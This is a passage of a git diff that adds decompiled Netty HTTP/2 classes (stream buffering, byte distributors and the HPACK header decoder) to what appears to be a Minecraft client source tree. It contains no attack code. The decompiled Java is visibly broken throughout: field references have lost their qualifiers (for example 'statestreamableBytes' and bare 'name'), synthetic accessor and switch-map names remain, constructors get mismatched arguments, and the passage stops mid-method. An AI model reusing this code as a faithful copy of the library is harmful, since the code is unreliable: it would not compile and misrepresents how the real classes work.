+      pendingStream = new PendingStream(ctx, streamId);
+      pendingStreams.put(Integer.valueOf(streamId), pendingStream);
+    }
+    frames.add(new HeadersFrame(headers, streamDependency, weight, exclusive, padding, endOfStream, promise));
+    
+    return promise;
+  }
+  
+
+  public ChannelFuture writeRstStream(ChannelHandlerContext ctx, int streamId, long errorCode, ChannelPromise promise)
+  {
+    if (isExistingStream(streamId)) {
+      return super.writeRstStream(ctx, streamId, errorCode, promise);
+    }
+    
+
+    PendingStream stream = (PendingStream)pendingStreams.remove(Integer.valueOf(streamId));
+    if (stream != null)
+    {
+
+
+
+      stream.close(null);
+      promise.setSuccess();
+    } else {
+      promise.setFailure(Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "Stream does not exist %d", new Object[] { Integer.valueOf(streamId) }));
+    }
+    return promise;
+  }
+  
+
+  public ChannelFuture writeData(ChannelHandlerContext ctx, int streamId, ByteBuf data, int padding, boolean endOfStream, ChannelPromise promise)
+  {
+    if (isExistingStream(streamId)) {
+      return super.writeData(ctx, streamId, data, padding, endOfStream, promise);
+    }
+    PendingStream pendingStream = (PendingStream)pendingStreams.get(Integer.valueOf(streamId));
+    if (pendingStream != null) {
+      frames.add(new DataFrame(data, padding, endOfStream, promise));
+    } else {
+      ReferenceCountUtil.safeRelease(data);
+      promise.setFailure(Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "Stream does not exist %d", new Object[] { Integer.valueOf(streamId) }));
+    }
+    return promise;
+  }
+  
+
+  public void remoteSettings(Http2Settings settings)
+    throws Http2Exception
+  {
+    super.remoteSettings(settings);
+    
+
+    maxConcurrentStreams = connection().local().maxActiveStreams();
+    
+
+    tryCreatePendingStreams();
+  }
+  
+  public void close()
+  {
+    try {
+      if (!closed) {
+        closed = true;
+        
+
+        Http2ChannelClosedException e = new Http2ChannelClosedException();
+        while (!pendingStreams.isEmpty()) {
+          PendingStream stream = (PendingStream)pendingStreams.pollFirstEntry().getValue();
+          stream.close(e);
+        }
+      }
+    } finally {
+      super.close();
+    }
+  }
+  
+  private void tryCreatePendingStreams() {
+    while ((!pendingStreams.isEmpty()) && (canCreateStream())) {
+      Map.Entry<Integer, PendingStream> entry = pendingStreams.pollFirstEntry();
+      PendingStream pendingStream = (PendingStream)entry.getValue();
+      pendingStream.sendFrames();
+    }
+  }
+  
+  private void cancelGoAwayStreams(int lastStreamId, long errorCode, ByteBuf debugData) {
+    Iterator<PendingStream> iter = pendingStreams.values().iterator();
+    Exception e = new Http2GoAwayException(lastStreamId, errorCode, ByteBufUtil.getBytes(debugData));
+    while (iter.hasNext()) {
+      PendingStream stream = (PendingStream)iter.next();
+      if (streamId > lastStreamId) {
+        iter.remove();
+        stream.close(e);
+      }
+    }
+  }
+  
+
+
+  private boolean canCreateStream()
+  {
+    return connection().local().numActiveStreams() < maxConcurrentStreams;
+  }
+  
+  private boolean isExistingStream(int streamId) {
+    return streamId <= connection().local().lastStreamCreated();
+  }
+  
+  private static final class PendingStream {
+    final ChannelHandlerContext ctx;
+    final int streamId;
+    final Queue<StreamBufferingEncoder.Frame> frames = new ArrayDeque(2);
+    
+    PendingStream(ChannelHandlerContext ctx, int streamId) {
+      this.ctx = ctx;
+      this.streamId = streamId;
+    }
+    
+    void sendFrames() {
+      for (StreamBufferingEncoder.Frame frame : frames) {
+        frame.send(ctx, streamId);
+      }
+    }
+    
+    void close(Throwable t) {
+      for (StreamBufferingEncoder.Frame frame : frames) {
+        frame.release(t);
+      }
+    }
+  }
+  
+  private static abstract class Frame {
+    final ChannelPromise promise;
+    
+    Frame(ChannelPromise promise) {
+      this.promise = promise;
+    }
+    
+
+
+    void release(Throwable t)
+    {
+      if (t == null) {
+        promise.setSuccess();
+      } else {
+        promise.setFailure(t);
+      }
+    }
+    
+    abstract void send(ChannelHandlerContext paramChannelHandlerContext, int paramInt);
+  }
+  
+  private final class HeadersFrame extends StreamBufferingEncoder.Frame
+  {
+    final Http2Headers headers;
+    final int streamDependency;
+    final short weight;
+    final boolean exclusive;
+    final int padding;
+    final boolean endOfStream;
+    
+    HeadersFrame(Http2Headers headers, int streamDependency, short weight, boolean exclusive, int padding, boolean endOfStream, ChannelPromise promise) {
+      super();
+      this.headers = headers;
+      this.streamDependency = streamDependency;
+      this.weight = weight;
+      this.exclusive = exclusive;
+      this.padding = padding;
+      this.endOfStream = endOfStream;
+    }
+    
+    void send(ChannelHandlerContext ctx, int streamId)
+    {
+      writeHeaders(ctx, streamId, headers, streamDependency, weight, exclusive, padding, endOfStream, promise);
+    }
+  }
+  
+  private final class DataFrame extends StreamBufferingEncoder.Frame
+  {
+    final ByteBuf data;
+    final int padding;
+    final boolean endOfStream;
+    
+    DataFrame(ByteBuf data, int padding, boolean endOfStream, ChannelPromise promise) {
+      super();
+      this.data = data;
+      this.padding = padding;
+      this.endOfStream = endOfStream;
+    }
+    
+    void release(Throwable t)
+    {
+      super.release(t);
+      ReferenceCountUtil.safeRelease(data);
+    }
+    
+    void send(ChannelHandlerContext ctx, int streamId)
+    {
+      writeData(ctx, streamId, data, padding, endOfStream, promise);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/StreamByteDistributor.java b/src/minecraft/io/netty/handler/codec/http2/StreamByteDistributor.java
new file mode 100644
index 0000000..871e48d
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/StreamByteDistributor.java
@@ -0,0 +1,25 @@
+package io.netty.handler.codec.http2;
+
+public abstract interface StreamByteDistributor
+{
+  public abstract void updateStreamableBytes(StreamState paramStreamState);
+  
+  public abstract boolean distribute(int paramInt, Writer paramWriter)
+    throws Http2Exception;
+  
+  public static abstract interface Writer
+  {
+    public abstract void write(Http2Stream paramHttp2Stream, int paramInt);
+  }
+  
+  public static abstract interface StreamState
+  {
+    public abstract Http2Stream stream();
+    
+    public abstract int pendingBytes();
+    
+    public abstract boolean hasFrame();
+    
+    public abstract int windowSize();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/UniformStreamByteDistributor.java b/src/minecraft/io/netty/handler/codec/http2/UniformStreamByteDistributor.java
new file mode 100644
index 0000000..51d26a2
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/UniformStreamByteDistributor.java
@@ -0,0 +1,211 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.util.internal.ObjectUtil;
+import java.util.ArrayDeque;
+import java.util.Deque;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class UniformStreamByteDistributor
+  implements StreamByteDistributor
+{
+  static final int DEFAULT_MIN_ALLOCATION_CHUNK = 1024;
+  private final Http2Connection.PropertyKey stateKey;
+  private final Deque<State> queue = new ArrayDeque(4);
+  
+
+
+
+
+  private int minAllocationChunk = 1024;
+  private long totalStreamableBytes;
+  
+  public UniformStreamByteDistributor(Http2Connection connection)
+  {
+    stateKey = connection.newKey();
+    Http2Stream connectionStream = connection.connectionStream();
+    connectionStream.setProperty(stateKey, new State(connectionStream));
+    
+
+    connection.addListener(new Http2ConnectionAdapter()
+    {
+      public void onStreamAdded(Http2Stream stream) {
+        stream.setProperty(stateKey, new UniformStreamByteDistributor.State(UniformStreamByteDistributor.this, stream));
+      }
+      
+      public void onStreamClosed(Http2Stream stream)
+      {
+        UniformStreamByteDistributor.this.state(stream).close();
+      }
+    });
+  }
+  
+
+
+
+
+
+  public void minAllocationChunk(int minAllocationChunk)
+  {
+    if (minAllocationChunk <= 0) {
+      throw new IllegalArgumentException("minAllocationChunk must be > 0");
+    }
+    this.minAllocationChunk = minAllocationChunk;
+  }
+  
+  public void updateStreamableBytes(StreamByteDistributor.StreamState streamState)
+  {
+    state(streamState.stream()).updateStreamableBytes(Http2CodecUtil.streamableBytes(streamState), streamState.hasFrame(), streamState.windowSize());
+  }
+  
+
+  public boolean distribute(int maxBytes, StreamByteDistributor.Writer writer)
+    throws Http2Exception
+  {
+    ObjectUtil.checkNotNull(writer, "writer");
+    
+    int size = queue.size();
+    if (size == 0) {
+      return totalStreamableBytes > 0L;
+    }
+    
+    int chunkSize = Math.max(minAllocationChunk, maxBytes / size);
+    
+    State state = (State)queue.pollFirst();
+    do {
+      enqueued = false;
+      if (!windowNegative)
+      {
+
+        if ((maxBytes == 0) && (streamableBytes > 0))
+        {
+
+
+          queue.addFirst(state);
+          enqueued = true;
+          break;
+        }
+        
+
+        int chunk = Math.min(chunkSize, Math.min(maxBytes, streamableBytes));
+        maxBytes -= chunk;
+        
+
+        state.write(chunk, writer);
+      } } while ((state = (State)queue.pollFirst()) != null);
+    
+    return totalStreamableBytes > 0L;
+  }
+  
+  private State state(Http2Stream stream) {
+    return (State)((Http2Stream)ObjectUtil.checkNotNull(stream, "stream")).getProperty(stateKey);
+  }
+  
+
+
+  int streamableBytes0(Http2Stream stream)
+  {
+    return statestreamableBytes;
+  }
+  
+
+  private final class State
+  {
+    final Http2Stream stream;
+    int streamableBytes;
+    boolean windowNegative;
+    boolean enqueued;
+    boolean writing;
+    
+    State(Http2Stream stream)
+    {
+      this.stream = stream;
+    }
+    
+    void updateStreamableBytes(int newStreamableBytes, boolean hasFrame, int windowSize)
+    {
+      assert ((hasFrame) || (newStreamableBytes == 0)) : ("hasFrame: " + hasFrame + " newStreamableBytes: " + newStreamableBytes);
+      
+      int delta = newStreamableBytes - streamableBytes;
+      if (delta != 0) {
+        streamableBytes = newStreamableBytes;
+        UniformStreamByteDistributor.access$214(UniformStreamByteDistributor.this, delta);
+      }
+      
+
+
+
+
+
+
+      windowNegative = (windowSize < 0);
+      if ((hasFrame) && ((windowSize > 0) || ((windowSize == 0) && (!writing)))) {
+        addToQueue();
+      }
+    }
+    
+
+
+    void write(int numBytes, StreamByteDistributor.Writer writer)
+      throws Http2Exception
+    {
+      writing = true;
+      try
+      {
+        writer.write(stream, numBytes);
+      } catch (Throwable t) {
+        throw Http2Exception.connectionError(Http2Error.INTERNAL_ERROR, t, "byte distribution write error", new Object[0]);
+      } finally {
+        writing = false;
+      }
+    }
+    
+    void addToQueue() {
+      if (!enqueued) {
+        enqueued = true;
+        queue.addLast(this);
+      }
+    }
+    
+    void removeFromQueue() {
+      if (enqueued) {
+        enqueued = false;
+        queue.remove(this);
+      }
+    }
+    
+    void close()
+    {
+      removeFromQueue();
+      
+
+      updateStreamableBytes(0, false, 0);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/WeightedFairQueueByteDistributor.java b/src/minecraft/io/netty/handler/codec/http2/WeightedFairQueueByteDistributor.java
new file mode 100644
index 0000000..d4d2c7e
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/WeightedFairQueueByteDistributor.java
@@ -0,0 +1,342 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.util.internal.MathUtil;
+import io.netty.util.internal.ObjectUtil;
+import io.netty.util.internal.PriorityQueue;
+import io.netty.util.internal.PriorityQueueNode;
+import java.util.Queue;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class WeightedFairQueueByteDistributor
+  implements StreamByteDistributor
+{
+  private final Http2Connection.PropertyKey stateKey;
+  private final State connectionState;
+  private int allocationQuantum = 1024;
+  
+  public WeightedFairQueueByteDistributor(Http2Connection connection) {
+    stateKey = connection.newKey();
+    Http2Stream connectionStream = connection.connectionStream();
+    connectionStream.setProperty(stateKey, this.connectionState = new State(connectionStream, 16));
+    
+
+    connection.addListener(new Http2ConnectionAdapter()
+    {
+      public void onStreamAdded(Http2Stream stream) {
+        stream.setProperty(stateKey, new WeightedFairQueueByteDistributor.State(WeightedFairQueueByteDistributor.this, stream));
+      }
+      
+      public void onWeightChanged(Http2Stream stream, short oldWeight)
+      {
+        Http2Stream parent;
+        if ((stateactiveCountForTree != 0) && ((parent = stream.parent()) != null)) {
+          statetotalQueuedWeights += stream.weight() - oldWeight;
+        }
+      }
+      
+      public void onStreamClosed(Http2Stream stream)
+      {
+        WeightedFairQueueByteDistributor.this.state(stream).close();
+      }
+      
+      public void onPriorityTreeParentChanged(Http2Stream stream, Http2Stream oldParent)
+      {
+        Http2Stream parent = stream.parent();
+        if (parent != null) {
+          WeightedFairQueueByteDistributor.State state = WeightedFairQueueByteDistributor.this.state(stream);
+          if (activeCountForTree != 0) {
+            WeightedFairQueueByteDistributor.State pState = WeightedFairQueueByteDistributor.this.state(parent);
+            pState.offerAndInitializePseudoTime(state);
+            pState.isActiveCountChangeForTree(activeCountForTree);
+          }
+        }
+      }
+      
+      public void onPriorityTreeParentChanging(Http2Stream stream, Http2Stream newParent)
+      {
+        Http2Stream parent = stream.parent();
+        if (parent != null) {
+          WeightedFairQueueByteDistributor.State state = WeightedFairQueueByteDistributor.this.state(stream);
+          if (activeCountForTree != 0) {
+            WeightedFairQueueByteDistributor.State pState = WeightedFairQueueByteDistributor.this.state(parent);
+            pState.remove(state);
+            pState.isActiveCountChangeForTree(-activeCountForTree);
+          }
+        }
+      }
+    });
+  }
+  
+  public void updateStreamableBytes(StreamByteDistributor.StreamState state)
+  {
+    state(state.stream()).updateStreamableBytes(Http2CodecUtil.streamableBytes(state), (state.hasFrame()) && (state.windowSize() >= 0));
+  }
+  
+  public boolean distribute(int maxBytes, StreamByteDistributor.Writer writer)
+    throws Http2Exception
+  {
+    ObjectUtil.checkNotNull(writer, "writer");
+    
+
+    if (connectionState.activeCountForTree == 0) {
+      return false;
+    }
+    
+
+    int oldIsActiveCountForTree;
+    
+    do
+    {
+      oldIsActiveCountForTree = connectionState.activeCountForTree;
+      
+      maxBytes -= distributeToChildren(maxBytes, writer, connectionState);
+    } while ((connectionState.activeCountForTree != 0) && ((maxBytes > 0) || (oldIsActiveCountForTree != connectionState.activeCountForTree)));
+    
+
+    return connectionState.activeCountForTree != 0;
+  }
+  
+
+
+
+  public void allocationQuantum(int allocationQuantum)
+  {
+    if (allocationQuantum <= 0) {
+      throw new IllegalArgumentException("allocationQuantum must be > 0");
+    }
+    this.allocationQuantum = allocationQuantum;
+  }
+  
+  private int distribute(int maxBytes, StreamByteDistributor.Writer writer, State state) throws Http2Exception {
+    if (active) {
+      int nsent = Math.min(maxBytes, streamableBytes);
+      state.write(nsent, writer);
+      if ((nsent == 0) && (maxBytes != 0))
+      {
+
+
+
+        state.updateStreamableBytes(streamableBytes, false);
+      }
+      return nsent;
+    }
+    
+    return distributeToChildren(maxBytes, writer, state);
+  }
+  
+
+
+
+
+
+
+
+
+  private int distributeToChildren(int maxBytes, StreamByteDistributor.Writer writer, State state)
+    throws Http2Exception
+  {
+    long oldTotalQueuedWeights = totalQueuedWeights;
+    State childState = state.poll();
+    State nextChildState = state.peek();
+    try
+    {
+      assert ((nextChildState == null) || (pseudoTimeToWrite >= pseudoTimeToWrite)) : ("nextChildState.pseudoTime(" + pseudoTimeToWrite + ") < " + " childState.pseudoTime(" + pseudoTimeToWrite + ")");
+      
+      int nsent = distribute(nextChildState == null ? maxBytes : Math.min(maxBytes, (int)Math.min((pseudoTimeToWrite - pseudoTimeToWrite) * stream.weight() / oldTotalQueuedWeights + allocationQuantum, 2147483647L)), writer, childState);
+      
+
+
+
+
+
+      pseudoTime += nsent;
+      childState.updatePseudoTime(state, nsent, oldTotalQueuedWeights);
+      return nsent;
+
+    }
+    finally
+    {
+      if (activeCountForTree != 0) {
+        state.offer(childState);
+      }
+    }
+  }
+  
+  private State state(Http2Stream stream) {
+    return (State)stream.getProperty(stateKey);
+  }
+  
+
+
+  int streamableBytes0(Http2Stream stream)
+  {
+    return statestreamableBytes;
+  }
+  
+
+  private final class State
+    implements PriorityQueueNode<State>
+  {
+    final Http2Stream stream;
+    
+    private final Queue<State> queue;
+    
+    int streamableBytes;
+    
+    int activeCountForTree;
+    private int priorityQueueIndex = -1;
+    
+    long pseudoTimeToWrite;
+    
+    long pseudoTime;
+    
+    long totalQueuedWeights;
+    
+    boolean active;
+    
+
+    State(Http2Stream stream)
+    {
+      this(stream, 0);
+    }
+    
+    State(Http2Stream stream, int initialSize) {
+      this.stream = stream;
+      queue = new PriorityQueue(initialSize);
+    }
+    
+    void write(int numBytes, StreamByteDistributor.Writer writer) throws Http2Exception {
+      try {
+        writer.write(stream, numBytes);
+      } catch (Throwable t) {
+        throw Http2Exception.connectionError(Http2Error.INTERNAL_ERROR, t, "byte distribution write error", new Object[0]);
+      }
+    }
+    
+    void isActiveCountChangeForTree(int increment) {
+      assert (activeCountForTree + increment >= 0);
+      activeCountForTree += increment;
+      if (!stream.isRoot()) {
+        State pState = WeightedFairQueueByteDistributor.this.state(stream.parent());
+        if (activeCountForTree == 0) {
+          pState.remove(this);
+        } else if (activeCountForTree - increment == 0) {
+          pState.offerAndInitializePseudoTime(this);
+        }
+        pState.isActiveCountChangeForTree(increment);
+      }
+    }
+    
+    void updateStreamableBytes(int newStreamableBytes, boolean isActive) {
+      if (active != isActive) {
+        isActiveCountChangeForTree(isActive ? 1 : -1);
+        active = isActive;
+      }
+      
+      streamableBytes = newStreamableBytes;
+    }
+    
+
+
+    void updatePseudoTime(State parentState, int nsent, long totalQueuedWeights)
+    {
+      assert ((stream.id() != 0) && (nsent >= 0));
+      
+
+      pseudoTimeToWrite = (Math.min(pseudoTimeToWrite, pseudoTime) + nsent * totalQueuedWeights / stream.weight());
+    }
+    
+
+
+
+
+
+    void offerAndInitializePseudoTime(State state)
+    {
+      pseudoTimeToWrite = pseudoTime;
+      offer(state);
+    }
+    
+    void offer(State state) {
+      queue.offer(state);
+      totalQueuedWeights += stream.weight();
+    }
+    
+
+
+    State poll()
+    {
+      State state = (State)queue.poll();
+      
+      totalQueuedWeights -= stream.weight();
+      return state;
+    }
+    
+    void remove(State state) {
+      if (queue.remove(state)) {
+        totalQueuedWeights -= stream.weight();
+      }
+    }
+    
+    State peek() {
+      return (State)queue.peek();
+    }
+    
+    void close() {
+      updateStreamableBytes(0, false);
+    }
+    
+    public int compareTo(State o)
+    {
+      return MathUtil.compare(pseudoTimeToWrite, pseudoTimeToWrite);
+    }
+    
+    public int priorityQueueIndex()
+    {
+      return priorityQueueIndex;
+    }
+    
+    public void priorityQueueIndex(int i)
+    {
+      priorityQueueIndex = i;
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/internal/hpack/Decoder.java b/src/minecraft/io/netty/handler/codec/http2/internal/hpack/Decoder.java
new file mode 100644
index 0000000..1d4891e
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/internal/hpack/Decoder.java
@@ -0,0 +1,449 @@
+package io.netty.handler.codec.http2.internal.hpack;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.handler.codec.http2.Http2CodecUtil;
+import io.netty.handler.codec.http2.Http2Error;
+import io.netty.handler.codec.http2.Http2Exception;
+import io.netty.handler.codec.http2.Http2Headers;
+import io.netty.util.AsciiString;
+import io.netty.util.internal.ThrowableUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class Decoder
+{
+  private static final Http2Exception DECODE_DECOMPRESSION_EXCEPTION = (Http2Exception)ThrowableUtil.unknownStackTrace(Http2Exception.connectionError(Http2Error.COMPRESSION_ERROR, "HPACK - decompression failure", new Object[0]), Decoder.class, "decode(...)");
+  
+  private static final Http2Exception DECODE_ULE_128_DECOMPRESSION_EXCEPTION = (Http2Exception)ThrowableUtil.unknownStackTrace(Http2Exception.connectionError(Http2Error.COMPRESSION_ERROR, "HPACK - decompression failure", new Object[0]), Decoder.class, "decodeULE128(...)");
+  
+  private static final Http2Exception DECODE_ILLEGAL_INDEX_VALUE = (Http2Exception)ThrowableUtil.unknownStackTrace(Http2Exception.connectionError(Http2Error.COMPRESSION_ERROR, "HPACK - illegal index value", new Object[0]), Decoder.class, "decode(...)");
+  
+  private static final Http2Exception INDEX_HEADER_ILLEGAL_INDEX_VALUE = (Http2Exception)ThrowableUtil.unknownStackTrace(Http2Exception.connectionError(Http2Error.COMPRESSION_ERROR, "HPACK - illegal index value", new Object[0]), Decoder.class, "indexHeader(...)");
+  
+  private static final Http2Exception READ_NAME_ILLEGAL_INDEX_VALUE = (Http2Exception)ThrowableUtil.unknownStackTrace(Http2Exception.connectionError(Http2Error.COMPRESSION_ERROR, "HPACK - illegal index value", new Object[0]), Decoder.class, "readName(...)");
+  
+  private static final Http2Exception INVALID_MAX_DYNAMIC_TABLE_SIZE = (Http2Exception)ThrowableUtil.unknownStackTrace(Http2Exception.connectionError(Http2Error.COMPRESSION_ERROR, "HPACK - invalid max dynamic table size", new Object[0]), Decoder.class, "setDynamicTableSize(...)");
+  
+
+  private static final Http2Exception MAX_DYNAMIC_TABLE_SIZE_CHANGE_REQUIRED = (Http2Exception)ThrowableUtil.unknownStackTrace(Http2Exception.connectionError(Http2Error.COMPRESSION_ERROR, "HPACK - max dynamic table size change required", new Object[0]), Decoder.class, "decode(...)");
+  
+  private static final byte READ_HEADER_REPRESENTATION = 0;
+  
+  private static final byte READ_MAX_DYNAMIC_TABLE_SIZE = 1;
+  private static final byte READ_INDEXED_HEADER = 2;
+  private static final byte READ_INDEXED_HEADER_NAME = 3;
+  private static final byte READ_LITERAL_HEADER_NAME_LENGTH_PREFIX = 4;
+  private static final byte READ_LITERAL_HEADER_NAME_LENGTH = 5;
+  private static final byte READ_LITERAL_HEADER_NAME = 6;
+  private static final byte READ_LITERAL_HEADER_VALUE_LENGTH_PREFIX = 7;
+  private static final byte READ_LITERAL_HEADER_VALUE_LENGTH = 8;
+  private static final byte READ_LITERAL_HEADER_VALUE = 9;
+  private final DynamicTable dynamicTable;
+  private final HuffmanDecoder huffmanDecoder;
+  private long maxHeaderListSize;
+  private long maxDynamicTableSize;
+  private long encoderMaxDynamicTableSize;
+  private boolean maxDynamicTableSizeChangeRequired;
+  
+  public Decoder()
+  {
+    this(32);
+  }
+  
+  public Decoder(int initialHuffmanDecodeCapacity) {
+    this(initialHuffmanDecodeCapacity, 4096);
+  }
+  
+
+
+
+  Decoder(int initialHuffmanDecodeCapacity, int maxHeaderTableSize)
+  {
+    maxHeaderListSize = 8192L;
+    maxDynamicTableSize = (this.encoderMaxDynamicTableSize = maxHeaderTableSize);
+    maxDynamicTableSizeChangeRequired = false;
+    dynamicTable = new DynamicTable(maxHeaderTableSize);
+    huffmanDecoder = new HuffmanDecoder(initialHuffmanDecodeCapacity);
+  }
+  
+
+
+
+  public void decode(int streamId, ByteBuf in, Http2Headers headers)
+    throws Http2Exception
+  {
+    int index = 0;
+    long headersLength = 0L;
+    int nameLength = 0;
+    int valueLength = 0;
+    byte state = 0;
+    boolean huffmanEncoded = false;
+    CharSequence name = null;
+    HpackUtil.IndexType indexType = HpackUtil.IndexType.NONE;
+    while (in.isReadable()) {
+      switch (state) {
+      case 0: 
+        byte b = in.readByte();
+        if ((maxDynamicTableSizeChangeRequired) && ((b & 0xE0) != 32))
+        {
+          throw MAX_DYNAMIC_TABLE_SIZE_CHANGE_REQUIRED;
+        }
+        if (b < 0)
+        {
+          index = b & 0x7F;
+          switch (index) {
+          case 0: 
+            throw DECODE_ILLEGAL_INDEX_VALUE;
+          case 127: 
+            state = 2;
+            break;
+          default: 
+            headersLength = indexHeader(streamId, index, headers, headersLength);break;
+          }
+        } else if ((b & 0x40) == 64)
+        {
+          indexType = HpackUtil.IndexType.INCREMENTAL;
+          index = b & 0x3F;
+          switch (index) {
+          case 0: 
+            state = 4;
+            break;
+          case 63: 
+            state = 3;
+            break;
+          
+          default: 
+            name = readName(index);
+            state = 7;break;
+          }
+        } else if ((b & 0x20) == 32)
+        {
+          index = b & 0x1F;
+          if (index == 31) {
+            state = 1;
+          } else {
+            setDynamicTableSize(index);
+            state = 0;
+          }
+        }
+        else {
+          indexType = (b & 0x10) == 16 ? HpackUtil.IndexType.NEVER : HpackUtil.IndexType.NONE;
+          index = b & 0xF;
+          switch (index) {
+          case 0: 
+            state = 4;
+            break;
+          case 15: 
+            state = 3;
+            break;
+          
+          default: 
+            name = readName(index);
+            state = 7;
+          }
+        }
+        break;
+      
+      case 1: 
+        setDynamicTableSize(decodeULE128(in, index));
+        state = 0;
+        break;
+      
+      case 2: 
+        headersLength = indexHeader(streamId, decodeULE128(in, index), headers, headersLength);
+        state = 0;
+        break;
+      
+
+      case 3: 
+        name = readName(decodeULE128(in, index));
+        state = 7;
+        break;
+      
+      case 4: 
+        byte b = in.readByte();
+        huffmanEncoded = (b & 0x80) == 128;
+        index = b & 0x7F;
+        if (index == 127) {
+          state = 5;
+        } else {
+          if (index > maxHeaderListSize - headersLength) {
+            Http2CodecUtil.headerListSizeExceeded(streamId, maxHeaderListSize);
+          }
+          nameLength = index;
+          state = 6;
+        }
+        break;
+      
+
+      case 5: 
+        nameLength = decodeULE128(in, index);
+        
+        if (nameLength > maxHeaderListSize - headersLength) {
+          Http2CodecUtil.headerListSizeExceeded(streamId, maxHeaderListSize);
+        }
+        state = 6;
+        break;
+      
+
+      case 6: 
+        if (in.readableBytes() < nameLength) {
+          throw notEnoughDataException(in);
+        }
+        
+        name = readStringLiteral(in, nameLength, huffmanEncoded);
+        
+        state = 7;
+        break;
+      
+      case 7: 
+        byte b = in.readByte();
+        huffmanEncoded = (b & 0x80) == 128;
+        index = b & 0x7F;
+        switch (index) {
+        case 127: 
+          state = 8;
+          break;
+        case 0: 
+          headersLength = insertHeader(streamId, headers, name, AsciiString.EMPTY_STRING, indexType, headersLength);
+          
+          state = 0;
+          break;
+        
+        default: 
+          if (index + nameLength > maxHeaderListSize - headersLength) {
+            Http2CodecUtil.headerListSizeExceeded(streamId, maxHeaderListSize);
+          }
+          valueLength = index;
+          state = 9;
+        }
+        
+        break;
+      
+
+      case 8: 
+        valueLength = decodeULE128(in, index);
+        
+
+        if (valueLength + nameLength > maxHeaderListSize - headersLength) {
+          Http2CodecUtil.headerListSizeExceeded(streamId, maxHeaderListSize);
+        }
+        state = 9;
+        break;
+      
+
+      case 9: 
+        if (in.readableBytes() < valueLength) {
+          throw notEnoughDataException(in);
+        }
+        
+        CharSequence value = readStringLiteral(in, valueLength, huffmanEncoded);
+        headersLength = insertHeader(streamId, headers, name, value, indexType, headersLength);
+        state = 0;
+        break;
+      
+      default: 
+        throw new Error("should not reach here state: " + state);
+      }
+      
+    }
+  }
+  
+
+  public void setMaxHeaderTableSize(long maxHeaderTableSize)
+    throws Http2Exception
+  {
+    if ((maxHeaderTableSize < 0L) || (maxHeaderTableSize > 4294967295L)) {
+      throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "Header Table Size must be >= %d and <= %d but was %d", new Object[] { Long.valueOf(0L), Long.valueOf(4294967295L), Long.valueOf(maxHeaderTableSize) });
+    }
+    
+    maxDynamicTableSize = maxHeaderTableSize;
+    if (maxDynamicTableSize < encoderMaxDynamicTableSize)
+    {
+
+      maxDynamicTableSizeChangeRequired = true;
+      dynamicTable.setCapacity(maxDynamicTableSize);
+    }
+  }
+  
+  public void setMaxHeaderListSize(long maxHeaderListSize) throws Http2Exception {
+    if ((maxHeaderListSize < 0L) || (maxHeaderListSize > 4294967295L)) {
+      throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "Header List Size must be >= %d and <= %d but was %d", new Object[] { Long.valueOf(0L), Long.valueOf(4294967295L), Long.valueOf(maxHeaderListSize) });
+    }
+    
+    this.maxHeaderListSize = maxHeaderListSize;
+  }
+  
+  public long getMaxHeaderListSize() {
+    return maxHeaderListSize;
+  }
+  
+
+
+
+  public long getMaxHeaderTableSize()
+  {
+    return dynamicTable.capacity();
+  }
+  
+
+
+  int length()
+  {
+    return dynamicTable.length();
+  }
+  
+
+
+  long size()
+  {
+    return dynamicTable.size();
+  }
+  
+
+
+  HeaderField getHeaderField(int index)
+  {
+    return dynamicTable.getEntry(index + 1);
+  }
+  
+  private void setDynamicTableSize(int dynamicTableSize) throws Http2Exception {
+    if (dynamicTableSize > maxDynamicTableSize) {
+      throw INVALID_MAX_DYNAMIC_TABLE_SIZE;
+    }
+    encoderMaxDynamicTableSize = dynamicTableSize;
+    maxDynamicTableSizeChangeRequired = false;
+    dynamicTable.setCapacity(dynamicTableSize);
+  }
+  
+  private CharSequence readName(int index) throws Http2Exception {
+    if (index <= StaticTable.length) {
+      HeaderField headerField = StaticTable.getEntry(index);
+      return name;
+    }
+    if (index - StaticTable.length <= dynamicTable.length()) {
+      HeaderField headerField = dynamicTable.getEntry(index - StaticTable.length);
+      return name;
+    }
+    throw READ_NAME_ILLEGAL_INDEX_VALUE;
+  }
+  
+  private long indexHeader(int streamId, int index, Http2Headers headers, long headersLength) throws Http2Exception {
+    if (index <= StaticTable.length) {
+      HeaderField headerField = StaticTable.getEntry(index);
+      return addHeader(streamId, headers, name, value, headersLength);
+    }
+    if (index - StaticTable.length <= dynamicTable.length()) {
+      HeaderField headerField = dynamicTable.getEntry(index - StaticTable.length);
+      return addHeader(streamId, headers, name, value, headersLength);
+    }
+    throw INDEX_HEADER_ILLEGAL_INDEX_VALUE;
+  }
+  
+  private long insertHeader(int streamId, Http2Headers headers, CharSequence name, CharSequence value, HpackUtil.IndexType indexType, long headerSize) throws Http2Exception
+  {
+    headerSize = addHeader(streamId, headers, name, value, headerSize);
+    
+    switch (1.$SwitchMap$io$netty$handler$codec$http2$internal$hpack$HpackUtil$IndexType[indexType.ordinal()])
+    {
+    case 1: 
+    case 2: 
+      break;
+    case 3: 
+      dynamicTable.add(new HeaderField(name, value));
+      break;
+    
+    default: 
+      throw new Error("should not reach here");
+    }
+    
+    return headerSize;
+  }
+  
+  private long addHeader(int streamId, Http2Headers headers, CharSequence name, CharSequence value, long headersLength) throws Http2Exception
